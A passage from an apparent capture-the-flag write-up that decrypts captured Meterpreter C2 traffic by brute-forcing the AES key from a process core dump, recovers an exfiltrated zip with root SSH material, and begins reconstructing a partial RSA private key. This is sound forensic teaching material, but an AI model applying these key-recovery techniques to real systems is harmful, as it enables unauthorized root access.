0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x58, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x88, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x58, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0xb8, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x58, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0xe8, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x58, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x7d8, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x58, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x1a8, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x58, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x88, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0xc8, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x168, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x58, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x88, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0xc8, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x548, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x78, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0xc8, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0xa8, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x88, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x78, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0xc8, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x100088, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x37338, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x88, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x88, pack_type: 0x1\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x88, pack_type: 0x1\n<\/pre><\/div>\n\n\n<p>We can see that the communication starts unencrypted, but quickly changes to being encrypted. Also the <code>session_guid<\/code> is not set in the first packets, but gets initialized shortly after. Also there are two packets quite near to the end which stand out because of their size: <code>0x100088<\/code> and <code>0x37338<\/code>. These may contain the exfiltrated zip archive.<\/p>\n\n\n\n<p>At next we also want to parse the <code>TLV packets<\/code>, which follow the meterpreter packet header.<\/p>\n\n\n\n<p>At first we have to apply the <code>XOR KEY<\/code> to the <code>TLV<\/code> data too:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n  ...\n  tlv = xor(tlv, xor_key)\n  ...\n<\/pre><\/div>\n\n\n<p>Then we call the <code>parse_tlv<\/code> function:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n  ...\n  for elem in parse_tlv(tlv):\n    print(&#039;type = 0x%x, length = 0x%x&#039; % (elem&#x5B;0], elem&#x5B;1]))\n<\/pre><\/div>\n\n\n<p>\u2026, which receives the <code>TLV<\/code> data and parses it to an array of triples:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\ndef parse_tlv(d):\n  r = &#x5B;]\n  while (len(d) &gt;= 0x8):\n    l = int.from_bytes(d&#x5B;:0x4], &#039;big&#039;)\n    t = int.from_bytes(d&#x5B;0x4:0x8], &#039;big&#039;)\n    v = d&#x5B;0x8:l]\n    d = d&#x5B;l:]\n    r.append( (t,l,v) )\n  return r\n<\/pre><\/div>\n\n\n<p>Running the script now also outputs the <code>packet type<\/code> and <code>packet length<\/code> of the encapsulated <code>TLV<\/code> data:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/parse_meterpreter.py\nsession_guid: 0x0, encr_flags: 0x0, pack_len: 0x16b, pack_type: 0x0\ntype = 0x20001, length = 0xc\ntype = 0x10002, length = 0x29\ntype = 0x40226, length = 0x12e\nsession_guid: 0x0, encr_flags: 0x0, pack_len: 0x175, pack_type: 0x1\ntype = 0x401cd, length = 0x18\ntype = 0x20001, length = 0xc\ntype = 0x10002, length = 0x29\ntype = 0x20004, length = 0xc\ntype = 0x20227, length = 0xc\ntype = 0x40229, length = 0x108\nsession_guid: 0x0, encr_flags: 0x1, pack_len: 0x58, pack_type: 0x0\ntype = 0xd0db9325, length = 0xed25d06d\nsession_guid: 0x0, encr_flags: 0x1, pack_len: 0xa8, pack_type: 0x1\ntype = 0xc9be6282, length = 0xfc0fba9c\nsession_guid: 0x0, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\n...\n<\/pre><\/div>\n\n\n<p>Though we do not really get far. As soon as the packets are encrypted, the <code>TLV<\/code> data seems to be messed up, which makes sense since it is encrypted.<\/p>\n\n\n\n<p>In order to decrypt the data we need the <code>AES IV<\/code>, which we can simply get by taking the first 16 bytes of the encapsulated data when the <code>encryption flags<\/code> is set. What we do not get so easily is the <code>AES KEY<\/code>, since it is never sent over the write. Though we have also got the <code>core dump<\/code> of the process. Since this process is continuously decrypting and encrypting the meterpreter traffic, the <code>AES KEY<\/code> needs to resides within its memory. Thus we can iterate the <code>core dump<\/code> file byte-by-byte, take 32 bytes as the assumed <code>AES KEY<\/code> and try to decrypt the data with it.<\/p>\n\n\n\n<p>Since the <code>core dump<\/code> is quite big, there are a lot of possible value for the <code>AES KEY<\/code>. When using a wrong <code>AES KEY<\/code> the decryption succeeds, but the decrypted data is only gibberish. Thus we need a way to determine, if we actually used the correct <code>AES KEY<\/code>. One simple approach for this is to take the first 4 bytes of the decrypted data, which represent the <code>Length<\/code> of the first <code>TLV packet<\/code>. This <code>Length<\/code> should be less than the <code>packet_length<\/code> of the meterpreter packet. This simple check is actually sufficient to determine the correct <code>AES KEY<\/code>. Let&#8217;s implement this.<\/p>\n\n\n\n<p>At first we add a little function to take each subsequent 32 bytes from the <code>core dump<\/code> file and stores these as a possible key in an array:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\ndef get_possible_keys():\n  keys = &#x5B;]\n  d = open(&#039;.\/core.auto_update&#039;, &#039;rb&#039;).read()\n  for i in range(len(d) - 31):\n    keys.append(d&#x5B;i:i+0x20])\n  return keys\n...\n<\/pre><\/div>\n\n\n<p>At next we add a check for the <code>encryption flags<\/code>. If it is <code>0<\/code>, we simply parse the <code>TLV packets<\/code>. Otherwise we extract the <code>AES IV<\/code> (first 16 bytes) and then iterate over each possible key and try to decrypt the data. If the first 4 bytes of the decrypted data, which represents the <code>Length<\/code> value of the first <code>TLV packet<\/code> is less than the <code>packet length<\/code> we possible got the correct <code>AES KEY<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n  ...\n  if (encr_flags == 0):\n    for elem in parse_tlv(tlv):\n      print(&#039;type = 0x%x, length = 0x%x&#039; % (elem&#x5B;0], elem&#x5B;1]))\n\n  elif (encr_flags == 1):\n    aes_iv = tlv&#x5B;:0x10]\n    for aes_key in get_possible_keys():\n      cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)\n      pt = cipher.decrypt(tlv&#x5B;0x10:])\n      l = int.from_bytes(pt&#x5B;:0x4], &#039;big&#039;)\n      if (l &lt; pack_len):\n        print(aes_key.hex())\n        print(pt)\n  ...\n<\/pre><\/div>\n\n\n<p>Although there are a few false positives, we can very likely assume that the <code>AES KEY<\/code> is <code>f2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5<\/code> based on the output of the script:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/parse_meterpreter.py\nsession_guid: 0x0, encr_flags: 0x0, pack_len: 0x16b, pack_type: 0x0\ntype = 0x20001, length = 0xc\ntype = 0x10002, length = 0x29\ntype = 0x40226, length = 0x12e\nsession_guid: 0x0, encr_flags: 0x0, pack_len: 0x175, pack_type: 0x1\ntype = 0x401cd, length = 0x18\ntype = 0x20001, length = 0xc\ntype = 0x10002, length = 0x29\ntype = 0x20004, length = 0xc\ntype = 0x20227, length = 0xc\ntype = 0x40229, length = 0x108\nsession_guid: 0x0, encr_flags: 0x1, pack_len: 0x58, pack_type: 0x0\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\r\\x00\\x00\\x00)\\x00\\x01\\x00\\x0202317692758618192060783778390014\\x00\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b&#039;\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\r\\x00\\x00\\x00)\\x00\\x01\\x00\\x0202317692758618192060783778390014\\x00\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b&#039;\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\r\\x00\\x00\\x00)\\x00\\x01\\x00\\x0202317692758618192060783778390014\\x00\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b&#039;\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\r\\x00\\x00\\x00)\\x00\\x01\\x00\\x0202317692758618192060783778390014\\x00\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b&#039;\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\r\\x00\\x00\\x00)\\x00\\x01\\x00\\x0202317692758618192060783778390014\\x00\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b&#039;\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\r\\x00\\x00\\x00)\\x00\\x01\\x00\\x0202317692758618192060783778390014\\x00\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b&#039;\nsession_guid: 0x0, encr_flags: 0x1, pack_len: 0xa8, pack_type: 0x1\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x18\\x00\\x04\\x01\\xcd\\xd2\\x99\\x93k\\xe4W`\\x99f...&#039;\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x18\\x00\\x04\\x01\\xcd\\xd2\\x99\\x93k\\xe4W`\\x99f...&#039;\n...\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x78, pack_type: 0x1\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x18\\x00\\x04\\x01\\xcd\\xd2\\x99\\x93k\\xe4W`\\x99f...&#039;\n585442535900756e6465665f454642494700756e6465665f454e4f5350430075\nb&#039;\\x00\\x00\\x00P\\x88;I\\x9e\\xc4&gt;\\xc1\\x7f\\x85&lt;\\xe7R\\x1c\\x82\\xc6...&#039;\n...\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\n\\x00\\x00\\x00)...&#039;\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\n\\x00\\x00\\x00)...&#039;\n...\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x288, pack_type: 0x1\nf2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5\nb&#039;\\x00\\x00\\x00\\x18\\x00\\x04\\x01\\xcd\\xd2\\x99\\x93k\\xe4W`\\x99f `...&#039;\n...\n<\/pre><\/div>\n\n\n<p>In the above output we can also see that the memory contained this <code>AES KEY<\/code> not only once.<\/p>\n\n\n\n<p>Inspecting the decrypted data in detail, we can notice that it is padded using <a href=\"https:\/\/en.wikipedia.org\/wiki\/Padding_(cryptography)#PKCS#5_and_PKCS#7\" target=\"_blank\" rel=\"noreferrer noopener\">PKCS#7<\/a>. Thus we add a small <code>unpad<\/code> function, insert the static <code>AES KEY<\/code> we determined and parse the decrypted <code>TLV packets<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n...\ndef unpad(d):\n  return d&#x5B;:-d&#x5B;-1]]\n\n    ...\n    aes_key = bytes.fromhex(&#039;f2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5&#039;)\n    cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)\n    pt = unpad(cipher.decrypt(tlv&#x5B;0x10:]))\n    for elem in parse_tlv(pt):\n      print(&#039;type = 0x%x, length = 0x%x&#039; % (elem&#x5B;0], elem&#x5B;1]))\n<\/pre><\/div>\n\n\n<p>Now the encrypted <code>TLV packets<\/code> are successfully parsed too:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/parse_meterpreter.py\n...\nsession_guid: 0x0, encr_flags: 0x1, pack_len: 0x58, pack_type: 0x0\ntype = 0x20001, length = 0xc\ntype = 0x10002, length = 0x29\nsession_guid: 0x0, encr_flags: 0x1, pack_len: 0xa8, pack_type: 0x1\ntype = 0x401cd, length = 0x18\ntype = 0x20001, length = 0xc\ntype = 0x10002, length = 0x29\ntype = 0x20004, length = 0xc\ntype = 0x101cc, length = 0x36\nsession_guid: 0x0, encr_flags: 0x1, pack_len: 0x68, pack_type: 0x0\ntype = 0x20001, length = 0xc\ntype = 0x10002, length = 0x29\ntype = 0x401ce, length = 0x18\n<\/pre><\/div>\n\n\n<p>Since we are interested in the actual data of the <code>TLV packets<\/code>, we add a <code>print<\/code> call to output the first 32 bytes of data of each <code>TLV packet<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n      ...\n      print(elem&#x5B;2]&#x5B;:0x20])\n<\/pre><\/div>\n\n\n<p>There are a few interesting strings we can identify. Also the file <code>docs_backup.zip<\/code>, which might be the zip archive mentioned within the report:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/parse_meterpreter.py\n...\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x548, pack_type: 0x1\n...\ntype = 0x104b1, length = 0x11\nb&#039;.profile\\x00&#039;\ntype = 0x104b2, length = 0x18\nb&#039;\/root\/\/.profile\\x00&#039;\n...\ntype = 0x104b1, length = 0x18\nb&#039;docs_backup.zip\\x00&#039;\ntype = 0x104b2, length = 0x1f\nb&#039;\/root\/\/docs_backup.zip\\x00&#039;\n...\n<\/pre><\/div>\n\n\n<p>A few packets ahead we can see the two huge packets, we already notified before. When taking a look at the decrypted data from the <code>TLV packet<\/code> with the <code>Type 0x40034<\/code>, we can clearly see a zip header (<code>PK...<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x100088, pack_type: 0x1\ntype = 0x401cd, length = 0x18\nb&#039;\\xd2\\x99\\x93k\\xe4W`\\x99f `&quot;\\x04\\x0fx\\xaa&#039;\ntype = 0x20001, length = 0xc\nb&#039;\\x00\\x00\\x00\\x05&#039;\ntype = 0x20032, length = 0xc\nb&#039;\\x00\\x00\\x00\\x01&#039;\ntype = 0x10002, length = 0x29\nb&#039;81583094782444646844363494472485&#039;\ntype = 0x20004, length = 0xc\nb&#039;\\x00\\x00\\x00\\x00&#039;\ntype = 0x40034, length = 0x100008\nb&#039;PK\\x03\\x04\\n\\x00\\x00\\x00\\x00\\x00\\xb4TnT\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x1c\\x00Do&#039;\n...\nsession_guid: 0x6b2f41afeb74454f960677b703dab297, encr_flags: 0x1, pack_len: 0x37338, pack_type: 0x1\n...\ntype = 0x40034, length = 0x372b2\nb&#039;\\xfa\\x8a&quot;\\x15\\xb3&#x5B;BS\\x04~\\x15VV\\x80\\xbc!\\xb7)Q&lt;\\xce\\xe5\\xc0y1\\x19U\\xbe\\x94\\xd4\\x1e\\xd6&#039;\n...\n<\/pre><\/div>\n\n\n<p>It seems like the data has been split into two packets. In order to extract the data, we check if the <code>Type<\/code> of the <code>TLV packet<\/code> is equal to <code>0x40034<\/code> and write the contained data to a file called <code>output<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n      ...\n      if (elem&#x5B;0] == 0x40034):\n        f = open(&#039;output&#039;, &#039;ab&#039;)\n        f.write(elem&#x5B;2])\n        f.close()\n<\/pre><\/div>\n\n\n<p>After rerunning the script the file <code>output<\/code> is written, which is actually a zip archive:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ file output\noutput: Zip archive data, at least v1.0 to extract\n<\/pre><\/div>\n\n\n<h2 id=\"rsa\">Restoring RSA private key<\/h2>\n\n\n\n<p>The archive contains 5 files:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ zipinfo output\nArchive:  output\nZip file size: 1274538 bytes, number of entries: 6\ndrwxr-xr-x  3.0 unx        0 bx stor 22-Mar-14 09:37 Documents\/\n-rw-rw-r--  3.0 unx      245 tx defN 22-Mar-14 09:37 Documents\/.tmux.conf\n-rw-rw-r--  3.0 unx  1278243 bx defN 22-Jun-15 11:37 Documents\/Screenshot from 2022-06-15 13-37-42.png\n-rw-rw-r--  3.0 unx       95 tx defN 22-Mar-14 09:37 Documents\/.vimrc\n-rw-------  3.0 unx     1522 tx defN 22-Mar-14 08:57 Documents\/bookmarks_3_14_22.html\n-rw-------  3.0 unx      567 tx defN 22-Mar-14 09:36 Documents\/authorized_keys\n6 files, 1280672 bytes uncompressed, 1273444 bytes compressed:  0.6%\n<\/pre><\/div>\n\n\n<p>After extracting and inspecting the files it seems that <code>.tmux.conf<\/code>, <code>.vimrc<\/code> and <code>bookmarks_3_14_22.html<\/code> are not of any further interest. The <code>authorized_keys<\/code> file seems to be the <code>root SSH<\/code> public key for <code>response<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cat Documents\/authorized_keys    \nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCeOiz7uVJa1\/Gy6pepA68bT2nlM2E6eNVRLpoIlNyRepQk6N7TkBSynQShoZesByJ2g3pTiWXZIraP80upKb1FvvLT7bWIH7YrzBHvtjAIryuh35Z5i\/rwadQUApodPSz+wMYQaYm3ZlRJBz8UlkoSOPC9fUVrrMoRUIjufm34wpBNtzxt7fcbEZXzvjfXjov5tkKgOR9n+YkClqt2ZOs+zNyQOepzWFpdW2F88N2b5lm9325weJMw9MGBlHJ4y25o1th7r94qAegFCIuaE4\/LXjHyXYNFzIYbp7yYKcEFnz8JrRoFeAd7uhqQJi+ZHiPRfSAIxa\/vQOZAN5kLyhSP7Cvgpdw8EaWUgxZOhJ7Us4VuZrJfR73TuyUHwkAFLUZT8ErovTbOIpSFlw1gfhNOUO78wgc78neLKq5qo88MRgdS9BkIkc54nB4dCZHSqrrnDhzGG8MNEhGHiCW2NUPjeZ2D8vHnGn+XIQhy3BLDPWKR5o4F1vCL6AX\/ouf1SVE= root@response\n<\/pre><\/div>\n\n\n<p>Also the file <code>Screenshot from 2022-06-15 13-37-42.png<\/code> is worth noting:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"524\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-24.png\" alt=\"\" class=\"wp-image-2634\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-24.png 1000w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-24-300x157.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-24-768x402.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>At the bottom of the screenshot there is a terminal with an active <code>root SSH<\/code> session on <code>response<\/code>. Also the last few lines of what seems to be the <code>root ssh<\/code> private key are displayed.<\/p>\n\n\n\n<p>Both the <code>authorized_keys<\/code> file and the private key are stored in an <code>OpenSSH<\/code> binary format. A detailed description can be found <a href=\"https:\/\/dnaeon.github.io\/openssh-private-key-binary-format\/\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a>.<\/p>\n\n\n\n<p>Let&#8217;s begin with the public key stored in the <code>authorized_keys<\/code> file. Since <code>RSA<\/code> is used, the public key consists of the public exponent <code>e<\/code> and the public modulus <code>N<\/code>. Parsing the format is straightforward:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"567\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-25-1024x567.png\" alt=\"\" class=\"wp-image-2635\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-25-1024x567.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-25-300x166.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-25-768x425.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2022\/09\/response-screen-25.png 1111w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>We can write a little python script to parse the file:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python3\n\nimport sys\nfrom base64 import b64decode\n\ndef parse_pubkey(pk):\n  keytype_len = int.from_bytes(pk&#x5B;:0x4], &#039;big&#039;)\n  keytype = pk&#x5B;0x4:0x4+keytype_len]\n  pk = pk&#x5B;0x4+keytype_len:]\n  e_len = int.from_bytes(pk&#x5B;:0x4], &#039;big&#039;)\n  e = int.from_bytes(pk&#x5B;0x4:0x4+e_len], &#039;big&#039;)\n  pk = pk&#x5B;0x4+e_len:]\n  n_len = int.from_bytes(pk&#x5B;:0x4], &#039;big&#039;)\n  n = int.from_bytes(pk&#x5B;0x4:0x4+n_len], &#039;big&#039;)\n\n  print(&#039;keytype = %s&#039; % keytype.decode())\n  print(&#039;e = 0x%x&#039; % e)\n  print(&#039;N = 0x%x&#039; % n)\n\nif (len(sys.argv) &lt; 2):\n  print(&#039;usage:\\n %s &lt;pubkey file&gt;&#039; % sys.argv&#x5B;0])\n  quit()\n\nd = open(sys.argv&#x5B;1], &#039;rb&#039;).read()\npk = b64decode(d.split(b&#039; &#039;)&#x5B;1])\nparse_pubkey(pk)\n<\/pre><\/div>\n\n\n<p>Running the script prints the three values:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ .\/parse_pubkey.py authorized_keys\nkeytype = ssh-rsa\ne = 0x10001\nN = 0x9e3a2cfbb9525ad7f1b2ea97a903af1b4f69e533613a78d5512e9a0894dc917a9424e8ded39014b29d04a1a197ac072276837a538965d922b68ff34ba929bd45bef2d3edb5881fb62bcc11efb63008af2ba1df96798bfaf069d414029a1d3d2cfec0c6106989b7665449073f14964a1238f0bd7d456bacca115088ee7e6df8c2904db73c6dedf71b1195f3be37d78e8bf9b642a0391f67f9890296ab7664eb3eccdc9039ea73585a5d5b617cf0dd9be659bddf6e70789330f4c181947278cb6e68d6d87bafde2a01e805088b9a138fcb5e31f25d8345cc861ba7bc9829c1059f3f09ad1a0578077bba1a90262f991e23d17d2008c5afef40e64037990bca148fec2be0a5dc3c11a59483164e849ed4b3856e66b25f47bdd3bb2507c240052d4653f04ae8bd36ce229485970d607e134e50eefcc2073bf2778b2aae6aa3cf0c460752f4190891ce789c1e1d0991d2aabae70e1cc61bc30d1211878825b63543e3799d83f2f1e71a7f97210872dc12c33d6291e68e05d6f08be805ffa2e7f54951\n<\/pre><\/div>\n\n\n<p>At next let&#8217;s figure out what information we can acquire from the partial <code>SSH<\/code> private key from the screenshot. At first we have to type it or use an <code>OCR<\/code> software to extract it:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ cat 